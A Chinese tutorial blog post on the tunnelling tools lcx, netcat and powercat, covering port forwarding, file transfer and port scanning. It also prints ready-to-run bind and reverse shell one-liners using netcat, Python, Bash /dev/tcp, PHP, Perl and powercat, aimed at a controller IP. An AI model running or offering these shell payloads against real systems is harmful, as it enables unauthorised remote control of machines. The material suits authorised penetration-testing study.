当前位置: 首页 > news >正文

lcx、netcat、powercat--安装、使用

用途限制声明,本文仅用于网络安全技术研究、教育与知识分享。文中涉及的渗透测试方法与工具,严禁用于未经授权的网络攻击、数据窃取或任何违法活动。任何因不当使用本文内容导致的法律后果,作者及发布平台不承担任何责任。渗透测试涉及复杂技术操作,可能对目标系统造成数据损坏、服务中断等风险。读者需充分评估技术能力与潜在后果,在合法合规前提下谨慎实践。

这三个工具主要用于传输层隧道技术所利用的工具,接下来我们就详细介绍一下这三个工具,

一、lcx

1、介绍

lcx 是一款经典的端口转发工具,主要用于网络环境中的端口映射与数据转发,常见于网络调试、内网穿透以及渗透测试场景。它能够实现不同网络环境下的端口数据转发,帮助用户突破网络隔离,访问目标服务。

2、原理

lcx 的核心原理是TCP 端口转发,通过建立中间代理通道,在两个网络端点之间转发 TCP 数据,实现端口映射功能。具体来说:

  • 当需要将 A 主机的端口数据转发到 B 主机的某个端口时,lcx 会在中间节点(或其中一台主机)上监听指定端口,接收来自源端的连接请求。
  • 一旦建立连接,lcx 会将源端发送的数据转发到目标端口,同时将目标端口的返回数据回传到源端,形成双向数据通道。

常见的转发模式包括:

  1. 本地端口转发:将本地端口的请求转发到远程主机的指定端口。
  2. 远程端口转发:将远程主机的端口请求转发到本地(或另一台主机)的指定端口。
  3. 反向端口转发:在目标主机上运行 lcx 客户端,主动连接到控制端的 lcx 服务端,实现内网到外网的反向连接(常用于突破内网防火墙)。
3、安装

cx 工具体积小巧,无需复杂安装,主要分为 Windows 和 Linux 版本:

下载地址:Release v1.0 · todzhang/lcx · GitHub,l其zip文件包括了windows和linux版本

windows版本直接在命令行使用即可

./lcx_x64.exe #运行

linux版本直接将相应文件夹上传至linux主机即可,直接运行

chmod +x lcx_x64 #赋予权限
./lcx_x64 #运行

4、使用

先介绍一下图中具体的参数作用

  • -S:指定功能模式(必选,需从ssocksd/rcsocks/rssocks/listen/tran/slave/netcat中选择)。
  • -l:监听端口(本地打开的端口,用于接收连接)。
  • -d:反射主机地址(数据转发的目标主机 IP)。
  • -e:反射端口(数据转发的目标主机端口)。
  • -f:连接主机地址(主动发起连接的目标主机 IP)。
  • -g:连接端口(主动发起连接的目标主机端口)。
  • -t:超时时间(毫秒,默认 1000ms,用于控制连接超时)。
  • -h:查看帮助(加-S 功能名可看该功能的详细说明,如./lcx -S listen -h)。
  • -v:查看版本,-a:查看关于信息。

主要有两种情况。一种是远程端口转发,就是将服务端的端口转发到客户端的端口上,另一种是本地端口转发,例如将本地80端口转发到本地其它端口,接下来展示这两个操作

将服务端的 80 端口流量转发到客户端的指定端口(即 “服务端 80 端口的数据 → 客户端某端口”),需要通过 “服务端主动转发”+“客户端监听接收” 的配合实现,核心利用 lcx 的 tran 模式(服务端)和 listen 模式(客户端)

第一步:客户端启动监听,准备接收服务端的转发流量

在客户端(192.168.0.104)上运行 listen 模式,监听一个端口(例如 7777),并指定将接收的流量转发到客户端本地的目标端口(例如 8080):

# 客户端命令:监听7777端口,将接收的流量转发到本地8080端口
./lcx_x64.exe -S listen -l 7777 -d 127.0.0.1 -e 8080
  • 参数说明:
    • -l 7777:客户端开放的 “中转端口”,用于接收服务端发来的 80 端口流量。
    • -d 127.0.0.1 -e 8080:将接收的流量转发到客户端本地的 8080 端口(最终目标端口,可自定义)。

第二步:服务端启动转发,将 80 端口流量发送到客户端

在服务端(172.19.214.174)上运行 tran 模式,将自身 80 端口的流量转发到客户端的中转端口(7777):

# 服务端命令:将自身80端口的流量转发到客户端的7777端口
./lcx_x64.exe -S tran -l 80 -f 192.168.0.104 -g 7777
  • 参数说明:
    • -l 80:服务端需要被转发的源端口(即 80 端口)。
    • -f 192.168.0.104 -g 7777:将 80 端口的流量发送到客户端的 7777 端口(与客户端的 -l 参数对应)。

出现这个既是转发成功

接下来就是第二种,本地端口转发,比如我将本地80端口的流量转发至本地8080端口访问

./lcx_x64 -S listen -l 80 -d 172.19.214.174 -e 8080

二、netcat

1、介绍

netcat(简称 nc)是一款功能强大的网络工具,被称为 “网络瑞士军刀”,主要用于在网络中通过 TCP 或 UDP 协议传输数据,支持端口扫描、连接测试、文件传输、远程 shell 等多种功能,是网络调试、系统管理和安全测试中的常用工具。

2、原理

netcat 的核心原理是 在两台主机之间建立 TCP 或 UDP 连接,并在连接上实现双向数据传输,本质是一个简化的 “网络数据读写器”。具体来说:

  • 作为 客户端 时,netcat 主动向目标主机的指定端口发起 TCP/UDP 连接,建立连接后可发送或接收数据。
  • 作为 服务器 时,netcat 在本地监听指定端口,等待客户端连接,连接建立后同样可双向传输数据。
  • 数据传输过程中,netcat 不解析应用层协议(如 HTTP、FTP),仅负责底层的字节流传输,因此具有极高的灵活性,可适配任意基于 TCP/UDP 的场景。
3、安装

netcat 几乎支持所有主流操作系统,不同系统的安装方式如下:

1. Linux 系统

大多数 Linux 发行版预装了 netcat(传统版本),若未安装,可通过包管理器安装:

  • Debian/Ubuntu 系列:
    sudo apt update && sudo apt install netcat  # 传统版本(可能功能有限)
    # 或安装 nmap 附带的增强版 ncat(推荐,功能更全,支持 SSL、代理等)
    sudo apt install ncat
    

  • CentOS/RHEL 系列:
    sudo yum install nc  # 传统版本
    # 或安装 ncat
    sudo yum install nmap-ncat

2. Windows 系统

Windows 需手动下载二进制文件,推荐使用 nmap 附带的 ncat(功能更完善):

  1. 下载 nmap 安装包:访问 nmap 官网 下载适合 Windows 的版本。
  2. 安装时勾选 ncat 组件,安装完成后,ncat.exe 会位于安装目录(如 C:\Program Files (x86)\Nmap\)。
  3. 为方便使用,可将安装目录添加到系统环境变量 PATH 中,之后在 CMD/PowerShell 中直接使用 ncat 命令

4、使用

netcat 的命令格式基本一致(不同版本参数略有差异,可用 nc -h 或 ncat -h 查看帮助),核心参数:

  • -l:以服务器模式监听端口(必选,用于被动等待连接)。
  • -p [端口]:指定端口(服务器模式时为监听端口,客户端模式时为本地端口,可选)。
  • -u:使用 UDP 协议(默认是 TCP)。
  • -v:显示详细输出(verbose 模式,便于调试)。
  • -z:仅扫描端口,不发送实际数据(端口扫描用)。
1. 测试端口连通性(客户端模式)

检查目标主机的某个端口是否开放(TCP 为例):

# 格式:nc [目标IP] [目标端口] -v
nc 192.168.0.104 80 -v  # 测试连接 192.168.0.104 的 80 端口
  • 若输出 connected to ...,表示端口开放且可连接;
  • 若输出 connection refused,表示端口关闭;
  • 若超时无响应,可能被防火墙拦截。

2. 监听端口(服务器模式)

在本地监听指定端口,接收客户端连接并传输数据:

# 格式:nc -l -p [本地端口] -v
nc -l -p 8888 -v  # 在本地 8888 端口监听 TCP 连接

此时,其他主机可通过 nc [本机IP] 8888 连接到该端口,双方可直接输入文本聊天(数据实时传输)。

3. 文件传输

利用 netcat 的数据传输能力,可快速在两台主机间传输文件(无需复杂协议)。

从主机 A(192.168.0.100)向主机 B(192.168.0.104)传输文件 test.txt

步骤 1:主机 B 先启动监听,准备接收文件(将接收的数据写入 received.txt):

nc -l -p 8888 -v > received.txt  # 监听 8888 端口,接收数据并写入文件

步骤 2:主机 A 连接主机 B 的 8888 端口,发送文件:

nc 172.19.214.174 8888 -v < test.txt  # 读取 test.txt 并发送到目标端口

发送完成后,两端会自动断开连接,主机 B 的 received.txt 即为传输的文件。

4. 远程 shell

netcat 可建立 “反向 shell” 或 “正向 shell”,实现远程控制。

正向 shell:在目标主机上监听端口,将本地 shell 绑定到该端口,控制端连接后获取 shell:

目标主机(Linux):

nc -l -p 9999 -v -e /bin/bash  # 将 bash 绑定到 9999 端口(-e 执行命令,部分版本支持)
-e 选项允许直接将端口绑定到 shell 或命令,存在严重安全风险(若端口暴露,可能被未授权访问)。因此,现代 netcat 版本(如 OpenBSD 版)默认移除了该选项,推荐用管道方式替代

在-e可用的情况下,可直接使用该命令,若是不可用,利用管道方式进行

正向 shell(管道方式)

在目标主机上执行:

# 步骤1:创建一个命名管道(用于双向数据传输)
mkfifo /tmp/f# 步骤2:将管道内容作为 bash 的输入,同时将 bash 的输出写入管道,并通过 nc 监听 9999 端口
cat /tmp/f | /bin/bash -i 2>&1 | nc -l -p 9999 > /tmp/f
  • 命令解释:
    • mkfifo /tmp/f:创建一个临时管道文件 /tmp/f,用于传递输入输出数据。
    • cat /tmp/f:读取管道中的数据(控制端发送的命令),作为 bash 的输入。
    • /bin/bash -i 2>&1:启动交互式 bash(-i),并将标准错误(2>&1)合并到标准输出,确保错误信息能回传。
    • nc -l -p 9999 > /tmp/f:监听 9999 端口,将控制端的输入写入管道,同时接收 bash 的输出并发送给控制端。

控制端连接(获取远程 shell)

在另一台主机(控制端)上执行,连接目标主机的 9999 端口:

nc [目标主机IP] 9999

反向 shell:目标主机主动连接控制端的监听端口,将本地 shell 发送给控制端(常用于突破防火墙):

  • 控制端(本地):先监听端口
    nc -l -p 9999 -v  # 本地监听 9999 端口
    
  • 目标主机(Linux):主动连接控制端,发送 shell
    nc [控制端IP] 9999 -v -e /bin/bash  # 连接控制端,将 bash 发送过去
    

注意:Windows 系统的 shell 是 cmd.exe,命令可改为 nc -l -p 9999 -e cmd.exe(需对应版本支持 -e 参数)。

反向shell(管道方式)

在你的本地机器(控制端)上,用 nc 监听一个端口(例如 9999),等待目标主机的连接:

# 控制端命令:监听 9999 端口,等待连接
nc -l -p 9999 -v

  • -l:监听模式;-p 9999:指定监听端口;-v:显示详细信息。

在目标主机(需要被控制的机器)上执行以下命令,通过管道将 bash 与控制端的连接绑定:

# 步骤1:创建一个临时命名管道(用于双向数据传输)
mkfifo /tmp/backpipe# 步骤2:通过 nc 连接控制端,同时将 bash 的输入/输出绑定到管道
/bin/bash -i < /tmp/backpipe 2>&1 | nc [控制端IP] 9999 > /tmp/backpipe
  • 参数解释:
    • mkfifo /tmp/backpipe:创建一个管道文件,用于传递 shell 的输入和输出。
    • /bin/bash -i:启动交互式 bash(-i 确保能输入命令)。
    • < /tmp/backpipe:将管道中的数据(控制端发送的命令)作为 bash 的输入。
    • 2>&1:将标准错误输出合并到标准输出,确保错误信息能回传给控制端。
    • nc [控制端IP] 9999:目标主机主动连接控制端的 9999 端口(与控制端监听端口一致)。
    • > /tmp/backpipe:将 bash 的输出(命令执行结果)写入管道,再通过 nc 发送给控制端。

5. 端口扫描

快速扫描目标主机的开放端口(TCP 端口扫描):

# 格式:nc -z [目标IP] [起始端口]-[结束端口] -v
nc -z ip 1-100 -v  # 扫描 192.168.0.104 的 1-100 端口(速度很慢)
nc -v ip 80 #扫描单个端口

输出中,succeeded! 表示端口开放。

6. UDP 协议测试

默认是 TCP 协议,加 -u 参数可测试 UDP 端口:

# 服务器端:监听 UDP 8888 端口
nc -l -u -p 8888 -v# 客户端:向目标 UDP 8888 端口发送数据
nc -u 192.168.0.104 8888 -v

7.反向shell延伸

在前面反向shell中,都是基于其nc存在的情况下,要是nc不存在的话,那就要利用其它方式进行反向shell连接,这里介绍几种反向shell方法

1、Python反向shell

利用 Python 的socket模块建立网络连接,将本地 shell 的输入输出重定向到控制端。

控制端先监听端口(如 9999):

nc -lvp 9999  # Linux控制端
# 或Windows控制端(使用ncat)
ncat -lvp 9999

目标主机执行(替换控制端IP):

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("控制端IP",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])'

  • 原理:创建 TCP 连接到控制端,通过os.dup2将标准输入 / 输出 / 错误重定向到 socket,最后启动交互式 shell。
  • 兼容:Python 2 可将python3改为python["/bin/sh","-i"]改为["/bin/bash","-i"]

2、Bash反向shell

直接通过 Bash 的/dev/tcp伪设备建立网络连接,将 shell 绑定到连接。

控制端监听(同上,如 9999 端口):

nc -lvp 9999

目标主机执行(替换控制端IP):

bash -i >& /dev/tcp/控制端IP/9999 0>&1
  • 原理:bash -i启动交互式 shell;>&将标准输出和错误重定向到/dev/tcp创建的网络连接;0>&1将标准输入重定向到同个连接,实现双向通信。
  • 注意:部分 Bash 版本可能不支持/dev/tcp(如嵌入式系统),需测试兼容性。

3、PHP反向shell

利用 PHP 的fsockopen创建网络连接,通过proc_open执行 shell 并绑定输入输出。

控制端监听(同上):

nc -lvp 9999

目标主机执行(替换控制端IP,需 PHP 环境):

php -r '$sock=fsockopen("控制端IP",9999);exec("/bin/sh -i <&3 >&3 2>&3");'

  • 原理:fsockopen连接控制端,文件描述符为 3;exec启动 shell,将输入 / 输出 / 错误重定向到该文件描述符。
  • 限制:若 PHP 配置中disable_functions禁用了execfsockopen,则无法运行。

4、Perl反向shell

通过 Perl 的socket模块建立连接,将 shell 的输入输出绑定到网络连接。

在发行版的linux操作系统中,都自带perl环境

控制端监听(同上):

nc -lvp 9999

目标主机执行(替换控制端IP,需 Perl 环境):

perl -e 'use Socket;$i="控制端IP";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
  • 原理:创建 TCP socket 连接到控制端,将标准输入 / 输出 / 错误重定向到 socket,最后执行交互式 shell。

三、powercat

1、介绍

powercat 是一款基于 PowerShell 的网络工具,被称为 “PowerShell 版的 netcat”,专为 Windows 环境设计,集成了端口监听、连接测试、文件传输、反向 shell 等功能,尤其在 Windows 系统的网络调试和安全测试中广泛使用。

2、原理

powercat 的核心原理与 netcat 类似:通过 PowerShell 调用 .NET 框架的网络编程接口(如 System.Net.Sockets 类),建立 TCP 或 UDP 连接,实现两台主机之间的双向数据传输。具体来说:

  1. 作为 服务器端 时,powercat 在本地指定端口监听,等待客户端连接,连接建立后创建数据传输通道。
  2. 作为 客户端 时,主动向目标主机的端口发起连接,建立通道后可发送 / 接收数据。
  3. 对于 shell 功能,powercat 将本地的 cmd.exe 或 powershell.exe 输入 / 输出重定向到网络连接,实现远程控制(正向 / 反向 shell)。
3、安装

powercat 无需传统 “安装”,只需下载脚本并在 PowerShell 中加载即可,步骤如下:

1. 下载 powercat 脚本

从 GitHub 仓库下载最新脚本(官方仓库:https://github.com/besimorhino/powercat):

  • 直接下载 powercat.ps1 脚本,保存到本地(如 C:\tools\powercat.ps1)。
  • 或通过 git命令下载(需联网):
    git clone https://github.com/besimorhino/powercat.git

2. 加载 powercat 到当前会话

在 PowerShell 中进入脚本所在目录,通过 Import-Module加载

Import-Moudule .\powercat.psl

3. 解决执行权限问题

Windows 默认限制 PowerShell 脚本执行,需先设置执行策略(以管理员身份运行 PowerShell):

Set-ExecutionPolicy RemoteSigned -Scope CurrentUser
# 按提示输入 Y 确认,允许运行本地签名脚本
4、使用

powercat 的命令格式与 netcat 类似,核心参数:

  • -l:监听模式(服务器端)。
  • -p [端口]:指定端口(监听或连接的端口)。
  • -c [IP]:作为客户端连接目标 IP。
  • -e [程序]:将连接绑定到指定程序(如 cmd.exe,实现 shell)。
  • -i [秒]:设置超时时间。
  • -v:显示详细输出(调试用)。

1. 基础网络测试(TCP 连接)

  • 服务器端监听端口(如监听 8888 端口):

    powercat -l -p 8888 -v  # -v 显示详细连接信息
    
  • 客户端连接服务器(连接目标 IP 的 8888 端口):

    powercat -c 192.168.0.104 -p 8888 -v
    
     

    连接成功后,两端可直接输入文本进行双向通信。

2. 文件传输

通过 powercat 在两台 Windows 主机间传输文件(TCP 协议,更可靠)。

  • 接收方(先启动监听,将接收的数据写入文件)

    powercat -l -p 9999 -of received.txt  # -of 输出到文件
    
  • 发送方(连接接收方,读取文件并发送)

    powercat -c 192.168.0.104 -p 9999 -if test.txt  # -if 输入文件
    

3. 反向 shell(目标主机主动连接控制端,常用)

场景:目标主机(Windows)主动连接控制端,将本地 cmd 或 powershell 发送给控制端,实现远程控制。

  • 步骤 1:控制端先监听端口(如 Linux 用 netcat 监听 9999 端口):

    nc -lvp 9999  # Linux控制端
    # 或Windows控制端用powercat监听:
    powercat -l -p 9999 -v
    
  • 步骤 2:目标主机(Windows)执行反向连接

    # 绑定 cmd.exe 到控制端(推荐)
    powercat -c 控制端IP -p 9999 -e cmd.exe -v# 或绑定 powershell.exe(功能更强大)
    powercat -c 控制端IP -p 9999 -e powershell.exe -v
    
     

    连接成功后,控制端即可通过 cmd 或 powershell 远程操作目标主机。

4. 正向 shell(目标主机监听端口,控制端连接)

场景:目标主机在本地监听端口,绑定 shell,控制端主动连接获取权限。

  • 步骤 1:目标主机监听端口并绑定 shell

    powercat -l -p 8888 -e cmd.exe -v  # 监听8888端口,绑定cmd
    
  • 步骤 2:控制端连接目标主机的 8888 端口

    nc 目标主机IP 8888  # Linux控制端
    # 或Windows控制端:
    powercat -c 目标主机IP -p 8888 -v
    

5. UDP 协议测试

默认是 TCP 协议,加 -u 参数可测试 UDP 通信:

  • UDP 服务器端

    powercat -l -p 53 -u -v  # 监听UDP 53端口
    
  • UDP 客户端

    powercat -c 192.168.0.104 -p 53 -u -v  # 向目标UDP 53端口发送数据

由于用法和nc差不多,这里操作就不再展示。在下载页面:GitHub - besimorhino/powercat: netshell features all in version 2 powershell有更加详细的使用教程。想要了解更多内容的可以去阅读一下。

http://www.dtcms.com/a/335238.html

相关文章:

  • 【RH134知识点问答题】第 10 章:控制启动过程
  • 深入浅出OpenGL的glDrawArray函数
  • 设计索引的原则有哪些?
  • 数据结构初阶(16)排序算法——归并排序
  • w嵌入式分享合集66
  • 开发一款多商户电商APP要多久?功能拆解与源码技术落地方案
  • vulhub-driftingblues9缓冲区溢出攻击提权
  • 写一个linux脚本,要求实现查找9010端口,如果端口存在则kill,否则不处理,返回对应的提示
  • LE AUDIO----COMMAND AND EVENT
  • ArrayList的扩容源码分析
  • colmap
  • ABB焊接机器人弧焊省气
  • windows扩展(外接)显示器位置调节
  • 狗品种识别数据集:1k+图像,6个类别,yolo标注完整
  • 利用Qwen大模型进行c++11并发库的学习,与时俱进!!!!
  • File 类的用法和 InputStream, OutputStream 的用法
  • C#高级用法:元组
  • pidgen!DecodeProdKey函数分析之iDecodedBytesMax
  • docker安装mongodb及java连接实战
  • 视频理解综述
  • 【异步】js中异步的实现方式 async await /Promise / Generator
  • 码上爬第十一题【协程+wasm】
  • 博弈论07——Lemke-Howson 算法
  • STM32-GPIO实践部分1-跑马灯实验
  • 【Java基础面试题】Java基础概念
  • 按键及消抖
  • C++ 最短路Dijkstra
  • [Python]PTA:for 求奇数分之一序列前N项和
  • 安卓开发选择题
  • CUDA 编程笔记:CUDA延迟隐藏